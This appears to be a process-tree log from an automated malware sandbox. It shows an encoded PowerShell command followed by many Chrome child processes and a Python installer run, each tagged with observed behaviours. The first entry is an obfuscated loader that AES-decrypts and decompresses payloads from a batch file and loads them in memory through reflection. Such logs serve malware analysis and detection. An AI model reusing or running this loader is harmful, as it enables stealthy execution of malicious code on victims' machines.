"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand cwB2ACAARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAnAHMAaQBsAGUAbgB0AGwAeQBjAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAGUAcwBfAHYAYQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQA7ACAACgAkAGQAZQBjAHIAeQBwAHQAbwByAF8AdgBhAHIAIAA9ACAAJABhAGUAcwBfAHYAYQByAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApADsAIAAKACQAcgBlAHQAdQByAG4AXwB2AGEAcgAgAD0AIAAkAGQAZQBjAHIAeQBwAHQAbwByAF8AdgBhAHIALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABwAGEAcgBhAG0AXwB2AGEAcgAsACAAMAAsACAAJABwAGEAcgBhAG0AXwB2AGEAcgAuAEwAZQBuAGcAdABoACkAOwAgAAoAJABYAHIAVwB5AE8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACQAcABhAHIAYQBtAF8AdgBhAHIAKQA7ACAACgAkAHUAZABUAHYAQwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACAACgAkAEQARwBDAEIAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAaQBwAFMAdAByAGUAYQBtACgAJABYAHIAVwB5AE8ALAAgAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAKACQASQBMAHcATgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAJwBkAGEAbwBMACcAWwAtADEALgAuAC0ANABdACAALQBqAG8AaQBuACAAJwAnACkAKABbAGIAeQB0AGUAWwBdAF0AJABwAGEAcgBhAG0AXwB2AGEAcgApADsAIAAKACQAWABEAHMAagBvACAAPQAgACQASQBMAHcATgBuAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAACgAkAEEAVQBBAGMAVAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgAoACcAdAB4AGUAVABsAGwAQQBkAGEAZQBSACcAWwAtADEALgAuAC0AMQAxAF0AIAAtAGoAbwBpAG4AIAAnACcAKQAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AaQB0AGEAbAAuAGIAYQB0ACcAKQAuAFMAcABsAGkAdAAoAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE4AZQB3AEwAaQBuAGUAKQA7ACAACgAkAGoAbQBaAGoAWQAgAD0AIAAkAFIAbQBKAHAAZAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMwApADsAIAAKACQAcABhAHkAbABvAGEAZABzAF8AdgBhAHIAIAA9ACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGoAbQBaAGoAWQAuAFMAcABsAGkAdAAoACcAXAAnACkAOwAgAAoAJABwAGEAeQBsAG8AYQBkADEAXwB2AGEAcgAgAD0AIABkAGUAYwBvAG0AcAByAGUAcwBzAF8AZgB1AG4AYwB0AGkAbwBuACAAKABkAGUAYwByAHkAcAB0AF8AZgB1AG4AYwB0AGkAbwBuACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAKAAnAGcAbgBpAHIAdABTADQANgBlAHMAYQBCAG0AbwByAEYAJwBbAC0AMQAuAC4ALQAxADYAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJABwAGEAeQBsAG8AYQBkAHMAXwB2AGEAcgBbADAAXQApACkAKQA7ACAACgAkAHAAYQB5AGwAbwBhAGQAMgBfAHYAYQByACAAPQAgAGQAZQBjAG8AbQBwAHIAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAGQAZQBjAHIAeQBwAHQAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAkAHAAYQB5AGwAbwBhAGQAcwBfAHYAYQByAFsAMQBdACkAKQApADsAIAAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQAVQBEAFYAYQByAGkAYQBiAGwAZQBzACgAKQB7ACAAKABnAGUAdAAtAHYAYQByAGkAYQBiAGwAZQAgAHwAIAB3AGgAZQByAGUALQBvAGIAagBlAGMAdAAgAHsAKABAACgAIgBkAGUAYwBsAGEAcgBhAHQAaQBvAG4AcwAiACwAIgBHAGUAdABVAEQAVgBhAHIAaQBhAGIAbABlAHMAIgAsACIATwB0AGgAZQByACIALAAiAEYAbwByAG0AYQB0AEUAbgB1AG0AZQByAGEAdABpAG8AbgBMAGkAbQBpAHQAIgAsACIATQBhAHgAaQBtAHUAbQBBAGwAaQBhAHMAQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0ARAByAGkAdgBlAEMAbwB1AG4AdAAiACwAIgBNAGEAeABpAG0AdQBtAEUAcgByAG8AcgBDAG8AdQBuAHQAIgAsACIATQBhAHgAaQBtAHUAbQBGAHUAbgBjAHQAaQBvAG4AQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0AVgBhAHIAaQBhAGIAbABlAEMAbwB1AG4AdAAiACwAIgBQAEcASABvAG0AZQAiACwAIgBQAEcAUwBFACIALAAiAFAARwBVAEkAQwB1AGwAdAB1AHIAZQAiACwAIgBQAEcAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIgAsACIAUABSAE8ARgBJAEwARQAiACwAIgBQAFMAUwBlAHMAcwBpAG8AbgBPAHAAdABpAG8AbgAiACkAIAAtAG4AbwB0AGMAbwBuAHQAYQBpAG4AcwAgACQAXwAuAG4AYQBtAGUAKQAgAC0AYQBuAGQAKAAoAFsAcABzAG8AYgBqAGUAYwB0AF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUwBwAGUAYwBpAGEAbABWAGEAcgBpAGEAYgBsAGUAcwAnACkALgBHAGUAdABGAGkAZQBsAGQAcwAoACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIABGAGkAZQBsAGQAVAB5AHAAZQAgAC0AZQBxACAAKABbAHMAdAByAGkAbgBnAF0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIABHAGUAdABWAGEAbAB1AGUAIAAkAG4AdQBsAGwAKQApACAALQBuAG8AdABjAG8AbgB0AGEAaQBuAHMAIAAkAF8ALgBuAGEAbQBlAH0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIATgBhAG0AZQA6ACAAIgAgACAACQAkAF8ALgBOAGEAbQBlACAACQAiAC0ALQAtAC0ALQAtAC0AIgAgACAAIAAgACAAIgBWAGEAbAB1AGUAOgAgACIAIAAJACQAXwAuAFYAYQBsAHUAZQAgACAAIAAgACAAIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAiACAAIAAgAH0AIAB9AAoAKABHAGUAdABVAEQAdgBhAHIAaQBhAGIAbABlAHMAKQB8AE8AdQB0AC0ARgBpAGwAZQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAJwBEAGUAYwBsAGEAcgBlAGQAVgBhAHIAaQBhAGIAbABlAHMALgB0AHgAdAAnACkA
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5928

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x124,0x128,0x12c,0xf8,0x130,0x7ffaa37cab58,0x7ffaa37cab68,0x7ffaa37cab78
2⤵
PID:2876

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1696 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:2
2⤵
PID:1124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:2732

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2288 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:4104

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2960 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:5872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2992 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:3864

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4360 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:636

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4528 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:2460

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4688 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:3852

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4756 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:1164

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4892 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:5436

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5052 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:5692

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3128 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:6004

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4752 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:2960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4120 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:1568

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5076 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:5400

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5192

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5332 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:5380

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:1284

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1136 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:396

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=4256 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:4308

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=5760 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:4448

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4108 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:1100

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4516 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:4320

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5996 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:6136

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5812 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:4972

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=4536 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:2916

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2356 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:2656

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5428 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:5340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=5724 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:2768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=1252 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:1884

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5336 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:5644

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5176 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:4688

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4792 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:4264

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1560 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:5832

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4816 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:2872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1656 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:4164

C:\Users\Admin\Downloads\python-3.12.3-amd64.exe
"C:\Users\Admin\Downloads\python-3.12.3-amd64.exe"
2⤵
- Executes dropped EXE
PID:5816

C:\Windows\Temp\{A6594E13-6B0E-4CEE-ABC3-0CFAF0E0ADE9}\.cr\python-3.12.3-amd64.exe
"C:\Windows\Temp\{A6594E13-6B0E-4CEE-ABC3-0CFAF0E0ADE9}\.cr\python-3.12.3-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.12.3-amd64.exe" -burn.filehandle.attached=568 -burn.filehandle.self=576
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies registry class
PID:2656

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --mojo-platform-channel-handle=5984 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:1320

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=4248 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:5468

C:\Users\Admin\Downloads\python-3.12.3-amd64.exe
"C:\Users\Admin\Downloads\python-3.12.3-amd64.exe"
2⤵
- Executes dropped EXE
PID:2880

C:\Windows\Temp\{2288FBF5-7D12-42BE-B531-E1ECCF484B60}\.cr\python-3.12.3-amd64.exe
"C:\Windows\Temp\{2288FBF5-7D12-42BE-B531-E1ECCF484B60}\.cr\python-3.12.3-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.12.3-amd64.exe" -burn.filehandle.attached=568 -burn.filehandle.self=720
3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies registry class
PID:864

C:\Users\Admin\AppData\Local\Programs\Python\Python312\pythonw.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Python312\pythonw.exe" -c "import winreg; winreg.SetValueEx(winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, r'SYSTEM\CurrentControlSet\Control\FileSystem'), 'LongPathsEnabled', None, winreg.REG_DWORD, 1)"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --mojo-platform-channel-handle=5820 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:7012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --mojo-platform-channel-handle=5984 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:6620

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6172 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:2776

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6264 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:1264

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --mojo-platform-channel-handle=5704 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:6764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --mojo-platform-channel-handle=6324 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:6324

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --mojo-platform-channel-handle=6452 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:5876

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6604 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:6028

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6628 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:8
2⤵
PID:7040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --mojo-platform-channel-handle=6700 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:6604

